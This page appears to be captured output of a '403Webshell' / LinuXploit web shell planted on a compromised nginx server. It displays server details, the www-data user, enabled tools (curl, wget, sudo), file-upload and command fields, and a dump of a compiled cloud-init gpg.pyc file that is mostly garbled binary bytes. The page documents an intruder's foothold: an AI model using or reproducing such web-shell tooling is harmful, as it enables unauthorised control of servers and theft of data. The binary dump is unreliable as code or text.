403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/__pycache__/gpg.cpython-314.pyc
+
��i����Rt^RIt^RIt^RIt^RIt^RIt^RIHt^RIH	t	H
t
^RIHt]P!]4tRt!RR4tR#)z0gpg.py - Collection of gpg key related functionsN)�TemporaryDirectory)�Dict�Optional)�subp�	GNUPGHOMEc��a�]tRt^toRtRt]V3RlRl4tRtV3RlRlt	V3RlR	lt
V3R
lRltRV3RlR
lltRV3RlRllt
V3RlRltRV3RlRlltV3RlRltRtVtR#)�GPGc�@�RVn/Vn\4VnR#)FN)�gpg_started�_envr�temp_dir��selfs&�//usr/lib/python3/dist-packages/cloudinit/gpg.py�__init__�GPG.__init__s�� �����	�*�,��
�c��V#�N�r
s&r�	__enter__�
GPG.__enter__s���rc�6<�V^8�dQhRS[S[S[3,/#)��return)r�str)�format�
__classdict__s"�r�__annotate__�GPG.__annotate__#s�����T�#�s�(�^�rc��VP'd
VP#RVn\VPP/VnVP#)z�when this env property gets invoked, set up our temporary
directory, and also set gpg_started to tell the cleanup()
method whether or not

why put this here and not in __init__? pytest seems unhappy
and it's not obvious how to work around it
T)rr
�HOMEr�namer
s&r�env�GPG.env"s?���9�9�9��9�9������4�=�=�-�-�.��	��y�y�rc�&�VP4R#r)�cleanup)r�exc_typ�	exc_value�	tracebacks&&&&r�__exit__�GPG.__exit__1s�����rc�<�V^8�dQhRR/#�rrNr)rrs"�rrr4s���$�$��$rc��VP4VP'dX\PP	VPP
4'dVPP
4R#R#R#)z0cleanup the gpg temporary directory and kill gpgN)�kill_gpgr�os�path�isdirr"r&r
s&rr&�GPG.cleanup4sG���
�
���=�=�=�R�W�W�]�]�4�=�=�+=�+=�>�>��M�M�!�!�#�?�=rc�6<�V^8�dQhRS[RS[S[,/#�r�keyr�rr)rrs"�rrr:s��������#��rc���\P!RRRV.RVPR7P# \Pd"p\PRY4Rp?R#Rp?ii;i)z*Export gpg key, armoured key gets returned�gpgz--exportz--armourT��capture�
update_env�&Failed to export armoured key "%s": %sN)rr#�stdout�ProcessExecutionError�LOG�debug�rr6�errors&& r�
export_armour�GPG.export_armour:se��	L��9�9��
�J��4���8�8���f�	
��
�)�)�	L��I�I�>��K�K���	L�s�03�A)�A$�$A)c�&<�V^8�dQhRS[RS[/#r5�r)rrs"�rrrGs�����3��3�rc�b�\P!RR.VRVPR7P#)zvDearmor gpg key, dearmored key gets returned

note: man gpg(1) makes no mention of an --armour spelling, only --armor
r9z	--dearmorF)�data�decoder<)rr#r>)rr6s&&r�dearmor�GPG.dearmorGs,��
�y�y�
�K� �s�5�T�X�X�
�
�&�	rc�&<�V^8�dQhRS[RS[/#)r�key_filerrG)rrs"�rrrPs�����#��c�rc���.ROpV'gVPR4VPV4\P!W0PRR7wrEV'd\P	RW4V#)z�List keys from a keyring with fingerprints. Default to a
stable machine parseable format.

@param key_file: a string containing a filepath to a key
@param human_output: return output intended for human parsing
z
--with-colonsT)r<r;r=)r9z--no-optionsz--with-fingerprintz--no-default-keyringz--list-keysz	--keyring)�appendrr#r@�warning)rrN�human_output�cmdr>�stderrs&&&   r�	list_keys�
GPG.list_keysPsW��
����J�J��'��
�
�8�����3�8�8�T�J�����K�K�8�(�
��
rc�*<�V^8�dQhRS[RS[RR/#)rr6�	keyserverrNrG)rrs"�rrrjs"���5�5�C�5�C�5�D�5rc�*�\PRW4^pRp\T;'g.4pV^,
p\P!RRRV,RV.RVPR7\PR	VVV4R# \P
d
pTpRp?MRp?ii;i\
T4p\PR
TPT4\P!T4K� \dp\RYYE3,4ThRp?ii;i)a�Receive gpg key from the specified keyserver.

Retries are done by default because keyservers can be unreliable.
Additionally, there is no way to determine the difference between
a non-existent key and a failure.  In both cases gpg (at least 2.2.4)
exits with status 2 and stderr: "keyserver receive failed: No data"
It is assumed that a key provided to cloud-init exists on the keyserver
so re-trying makes better sense than failing.

@param key: a string key fingerprint (as passed to gpg --recv-keys).
@param keyserver: the keyserver to request keys from.
@param retries: an iterable of sleep lengths for retries.
Use None to indicate no retries.z&Importing key '%s' from keyserver '%s'NTr9z--no-ttyz--keyserver=%sz--recv-keysr:z/Imported key '%s' from keyserver '%s' on try %dz6Import failed with exit code %d, will try again in %ssz@Failed to import key '%s' from keyserver '%s' after %d tries: %s)r@rA�iterrr#r?�next�	exit_code�time�sleep�
StopIteration�
ValueError)	rr6rX�retries�trynumrC�sleeps�e�naplens	&&&&     r�recv_key�GPG.recv_keyjs��	�	�	�:�C�K������g�m�m��$����a�K�F�
��	�	��"�(�9�4�%���!�#�x�x�
��	�	�E����	����-�-�
����
��
��f����	�	�L��O�O���
�
�
�6�"�� �
� �)�,/�F�+J�K�����
�s1�AB�B%�B � B%�)AC-�-D�8D
�
Dc�$<�V^8�dQhRS[RR/#)rr6rNrG)rrs"�rrr�s���	B�	B�c�	B�d�	Brc���\P!RRRRV.RVPR7R# \Pd"p\P	RY4Rp?R#Rp?ii;i)	z0Delete the specified key from the local gpg ringr9z--batchz--yesz
--delete-keysTr:zFailed delete key "%s": %sN)rr#r?r@rQrBs&& r�
delete_key�GPG.delete_key�sX��	B��I�I��	�7�O�S�A���8�8�
��
�)�)�	B��K�K�4�c�A�A��	B�s�(,�A"�A�A"c�<<�V^8�dQhRS[RS[RS[S[,/#)r�keyidrXrr7)rrs"�rrr�s)�������%(��	�#��rc� �VPV4pV'g9VPWR7VPV4pTPT4T#V# \d\P	RT4hi;i TPT4i;i)zget gpg keyid from keyserver)rXzFailed to obtain gpg key %s)rDrfr`r@�	exceptionrj)rrmrX�armours&&& r�
getkeybyid�GPG.getkeybyid�s����#�#�E�*���	
'��
�
�e�
�9��+�+�E�2������&��
�v�
���
��
�
�;�U�C��
������&�s�#A�#A7�7A:�:B
c�<�V^8�dQhRR/#r-r)rrs"�rrr�s���.A�.A�$�.Arc��VP'gR#\P!R4'd2\P!.R
ORVPR7PpR#\P!.ROR^^.R7Pp\
P!RV4pVUu.uF$q3^,R8XgK\V^,4NK&	ppV'd\PRV4VF(p\P!V\P4K*	R#uupi \Pd"p\PR	T4Rp?R#Rp?ii;i)z�killing with gpgconf is best practice, but when it isn't available
failover is possible

GH: 4344 - stop gpg-agent/dirmgr daemons spawned by gpg
key imports. Daemons spawned by cloud-config.service on systemd
v253 report (running)
N�gpgconfTr:)r;�rcsz(?P<ppid>\d+)\s+(?P<pid>\d+)�1z&Killing gpg-agent and dirmngr pids: %sz"Failed to clean up gpg process: %s)ruz--kill�all)	�psz-ozppid,pid�-C�keyboxdrz�dirmngrrzz	gpg-agent)r
r�whichr#r>�re�findall�intr@rAr0�kill�signal�SIGKILLr?rQ)r�gpg_process_out�gpg_pids�pid�
root_gpg_pids�gpg_pidrds&      rr/�GPG.kill_gpg�s ��&	A��#�#�#���z�z�)�$�$�"&�)�)�0� �#�x�x�#��&�	 �#'�)�)�
�!��A��#��&� ��:�:�3�_���,4�!�+3�C�1�v��}�K�C��A��K�8��!�!��I�I�@�-�� -�G��G�G�G�V�^�^�4� -��!���)�)�	A��K�K�<�a�@�@��	A�sA�D$�D$�/D$�#AD$�%D�9D�AD$�D$�$E�9E�E)rr
rN)F))�r�)zkeyserver.ubuntu.com)�__name__�
__module__�__qualname__�__firstlineno__rr�propertyr#r*r&rDrKrUrfrjrqr/�__static_attributes__�__classdictcell__)rs@rrrs}����-�
������$�$�������45�5�n	B�	B���$.A�.Arr)�__doc__�loggingr0r~r�r]�tempfiler�typingrr�	cloudinitr�	getLoggerr�r@r!rrrr�<module>r�sE��7��	�	�
��'�!��
����!����SA�SAr

Youez - 2016 - github.com/yon3zu
LinuXploit